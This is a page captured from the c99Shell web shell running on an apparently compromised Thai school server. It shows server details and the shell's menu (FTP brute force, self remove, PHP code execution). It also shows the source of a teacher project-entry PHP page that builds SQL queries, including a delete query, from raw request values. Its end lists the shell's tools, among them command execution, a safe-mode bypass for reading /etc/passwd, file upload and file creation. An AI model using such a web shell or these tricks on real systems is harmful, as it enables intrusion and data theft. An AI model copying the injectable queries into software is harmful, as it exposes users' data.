!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 52.66 GB of 127.8 GB (41.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Addproject.php (16.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

	session_start();
	
	/**  Define Validate Access  */
	define( '_VALID_ACCESS', 1 );

	/**  Check Session User Login  */
	if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
		echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
		echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
		echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
		exit();
	} 
	else {
		/**  Configuration  */
		require_once( "../configuration.php" );
		require_once( $_Config_absolute_path . "/includes/framework.php" );
		require_once( "../include/Function.php" );
	
		/**  Create Database Object  */
		$dbObj = new DBConn;

		//=== SESSION
		$Username = $valid_user; 
		
		
		/**  Config Table for This Page  */
		$myTable1 = "personal_tb";
		$myTable2 = "research_tb";
		
		$myTable2PK = "Research_code";
		
		/**  Table  -->  personal_tb  */
		$query0 = " SELECT *  FROM $myTable1  WHERE Username='$Username' ";
		$result0 = $dbObj->execQuery($query0);
		$rs = $dbObj->fetchArray($result0);
		
		$Teacher_code = $rs['Teacher_code'];
		
		/**  Paging */
		$page = $_GET['page'];
		if( $page == "" ) { $page = 1; }
		
		/**  จำนวนข้อมูล ต่อ 1 หน้า  */
		$perpage = $_REQUEST['perpage'];
		if( $perpage == "" ) { $perpage = 10; }
		
		/**  Botton Name Action */
		$action = $_REQUEST['action'];
		$id = $_REQUEST['id'];
	
		if( isset($action) && !empty($action) ) {
			switch($action) {
				case "Delete" :
					$num = count($id);
					for( $i=0; $i<$num; $i++ ) {
						//--- research_tb
						$qryDel = " DELETE FROM  $myTable2  WHERE $myTable2PK='$id[$i]' ";
						$resultDel = $dbObj->runQuery($qryDel);
						$dbObj->freeresult($resultDel);
					}
				break;
			} # switch
		} # if
		
	} # else
 ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>ข้อมูลทั่วไปบุคลากร  - ข้อมูลงานวิจัย - ผลงานการวิจัย</title></head>
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="javascript">
function checkData() {
var formObj = document.myForm;
	if( (formObj.Project_name.value == "" ) && (formObj.Term.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Project_name.style.backgroundColor='#F1F9FC'; formObj.Research_name.focus();	return false; }
	else if(formObj.Project_name.value == "" ) { alert("กรุณากรอก ชื่อโครงการ"); formObj.Project_name.style.backgroundColor='#F1F9FC'; formObj.Project_name.focus(); return false;} 
	else if(formObj.Term.value == "" ) { alert("กรุณากรอก ปีการศึกษา"); formObj.Term.style.backgroundColor='#F1F9FC'; formObj.Term.focus(); return false;} 
	else if(formObj.Year_budget.value == "" ) { alert("กรุณากรอก ปีงบประมาณ"); formObj.Year_budget.style.backgroundColor='#F1F9FC'; formObj.Year_budget.focus(); return false;} 
	else if(formObj.Budget.value == "" ) { alert("กรุณากรอก จำนวนเงิน"); formObj.Budget.style.backgroundColor='#F1F9FC'; formObj.Budget.focus(); return false;} 
	else if(formObj.Budget_use.value == "" ) { alert("กรุณากรอก จำนวนเงินที่ใช้จริง"); formObj.Budget_use.style.backgroundColor='#F1F9FC'; formObj.Budget_use.focus(); return false;}
	else if(formObj.Objective.value == "" ) { alert("กรุณากรอก วัตถุประสงค์"); formObj.Objective.style.backgroundColor='#F1F9FC'; formObj.Objective.focus(); return false;}
	else return true ;
}
</script>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
	include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="739" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" action="InsertProject.php" onsubmit="return checkData();">
      <tr>
        <td height="5" colspan="2"></td>
      </tr>
      <tr>
        <td width="570" height="30" background="../images/background/bg-head-topic.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="Menu_Teach.php">ข้อมูลทั่วไปบุคลากร</a> &raquo; <a href="Edu_ProductMe.php?Teacher_code=<?=$Teacher_code;?>">ผลงานวิชาการ</a> &raquo; <span class="NOTE">เพิ่มข้อมูลผลงานวิชาการ</span></strong></td>
        <td width="210">&nbsp;</td>
      </tr>
      <tr>
        <td colspan="2">&nbsp;</td>
      </tr>
      <tr>
        <td colspan="2" align="center"><table width="710" border="0" align="center" cellpadding="1" cellspacing="1" style="border:0px solid gray">
         <tr bgcolor="#EEEEEE">
            <td colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td width="190" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">ชื่อโครงการ</font></td>
            <td width="1" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td width="509" bordercolor="#006699" bgcolor="#FFFFFF"><input name="Project_name" type="text"  size="60" class="input1" /></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">วันที่ดำเนินโครงการ</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><div align="left"> <font color="#000000" size="2" face="Tahoma">วันที่
              <select name="mDate" id="mDate" class="select" onkeypress="return handleEnter(this, event)" >
                        <? getDay1to31();?>
                      </select>
              เดือน
              <select name="mMonth" id="mMonth" class="select" onkeypress="return handleEnter(this, event)">
                <? getThaiMonth();?>
              </select>
              ปี พ.ศ.
              <input name="mYear" type="text" class="input1" id="mYear" size="5" maxlength="4" />
            </font></div></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">ถึงวันที่ดำเนินโครงการ</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">วันที่
              <select name="mDate2" id="mDate2" class="select" onkeypress="return handleEnter(this, event)" >
                    <? getDay1to31();?>
                  </select>
              เดือน
              <select name="mMonth2" id="select2" class="select" onkeypress="return handleEnter(this, event)">
                <? getThaiMonth();?>
              </select>
              ปี พ.ศ.
              <input name="mYear2" type="text" class="input1" id="mYear2" size="5" maxlength="4" />
            </font></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">ปีการศึกษา</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><input name="Term" type="text" class="input1" id="Term" size="5" maxlength="4" />
                <font size="2" face="Tahoma">ปีงบประมาณ พ.ศ.
                  <input name="Year_budget" type="text" class="input1" id="Year_budget" size="5" maxlength="4" />
              </font></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">งบประมาณประมาณการ</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#000000">
              <input name="Budget" type="text" class="input1" id="Budget" size="10" />
              <font size="2" face="Tahoma">บาท</font></font></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">เงินที่ใช้จริง</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#000000">
              <input name="Budget_use" type="text" class="input1" id="Budget_use" size="10" />
              <font size="2" face="Tahoma"> บาท</font></font></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">จำนวนผู้เข้าร่วมโครงการ</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><input name="Target_group" type="text" class="input1" id="Target_group" size="10" />
                <font color="#000000"><font size="2" face="Tahoma">คน</font></font></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">วัตถุประสงค์</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><textarea name="Objective" cols="50" rows="5" id="Objective" class="input1"></textarea></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">รับเงินสนับสนุนจากแหล่งอื่น</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><input name="Fund_support " type="text"  size="50" id="Fund_support " class="input1" /></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">ค่าลงทะเบียน/คน</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
              <label>
              <input name="Res" type="radio" value="Y" />
              </label>
              </font><font color="#000000">&nbsp; </font><font color="#003366" size="2" face="Tahoma">ลงทะเบียน</font> <font color="#000000">
              <input name="Fee" type="text" class="input1" id="Fee" size="10" />
              <font size="2" face="Tahoma">บาท
                <label>
              <input name="Res" type="radio" value="N"checked="checked" />
              </label>
                ไม่</font><font color="#003366" size="2" face="Tahoma">ลงทะเบียน</font></font></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td rowspan="2" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">ตอบสนอง</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
              <input name="Response2" type="checkbox" id="Response2" value="วิชาชีพ" />
              วิชาชีพ
              <input name="Response" type="checkbox" id="Response" value="การเรียนการสอน" />
              การเรียนการสอน </font></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
              <input name="Response" type="checkbox" id="Response" value="checkbox" />
              อื่นฯ </font>
                <input name="Response" type="text" class="input1" id="Response" size="50" /></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">จำนวนชั่วโมงทั้งหมดของโครงการ</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">
              <input name="Total_time_project" type="text" class="input1" id="Total_time_project" size="5" />
              ชั่วโมง</font></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">จำนวนชั่วโมงที่บุคลากรเป็นวิทยากร</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">
              <input name="Total_time_insi" type="text" class="input1" id="Total_time_insi" size="5" />
              ชั่วโมง</font></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">จำนวนชั่วโมงที่เชิญวิทยากรภายนอก</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">
              <input name="Total_time_inso" type="text" class="input1" id="Total_time_inso" size="5" />
              ชั่วโมง</font></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">ผลการดำเนินงานตามแผน</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><input type="radio" name="Result_oper" value="1" />
                <font size="2" face="Tahoma"> เสร็จตามแผน
                  <input type="radio" name="Result_oper" value="2" />
                  ไม่เสร็จตามแผน
                  <input type="radio" name="Result_oper" value="3" />
                  ไม่ได้ทำ </font></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">สถานที่จัด</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><input name="Detail" type="text" class="input1" id="Detail" size="50" /></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">หน่วยงาน ที่จัด</font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
              <select name="Faculty_code" id="Faculty_code" class="input1">
                <?php
							
	       $strSQL3 = "SELECT * FROM  faculty_tb Where   Faculty_code='$Faculty_code'   Order By Faculty_code  ASC ";
		   $result3 = mysql_query($strSQL3);
			     while( $rs3 = mysql_fetch_array($result3)) 	
					 {
			     echo"<option value=\"$rs3[Faculty_code]\" ><b>$rs3[Faculty_name]</b></option>\n";
				}
				
				
	      ?>
              </select>
            </font></strong></td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">โหลดโครงการ </font></td>
            <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
            <td bordercolor="#006699" bgcolor="#FFFFFF"><table width="82%" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td width="80%" height="34"><div align="center">
                      <div align="left">
                      <input name="Img1" type="file" id="Img1" onchange="browse()&gt;
                               width="20% />                      &nbsp;</td>
                </tr>
            </table></td>
          </tr>
          <tr bgcolor="#E0F9DF">
            <td colspan="3" bgcolor="#FFFFFF"  align="center" >
   <input type="submit" name="Submit" value="เพิ่ม" class="WIDTH60 CURSOR-HAND" />
  &nbsp;
  <input name="Reset" type="reset" class="WIDTH60 CURSOR-HAND" id="Reset" value="รีเซ็ต" />&nbsp;&nbsp;  <input name="Button" type="button" id="Reset" value="ยกเลิก" class="CURSOR-HAND WIDTH60" onclick="location.href='ResearchByYear.php?Teacher_code<?=$Teacher_code;?>'" />              </td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td colspan="2">&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
	/**  Free Resource */
	$dbObj->freeresult($result0);
	
	/**  Close the Database  */
	$dbObj->disconn();
	
	/**  Unset Class  */
	unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0066 ]--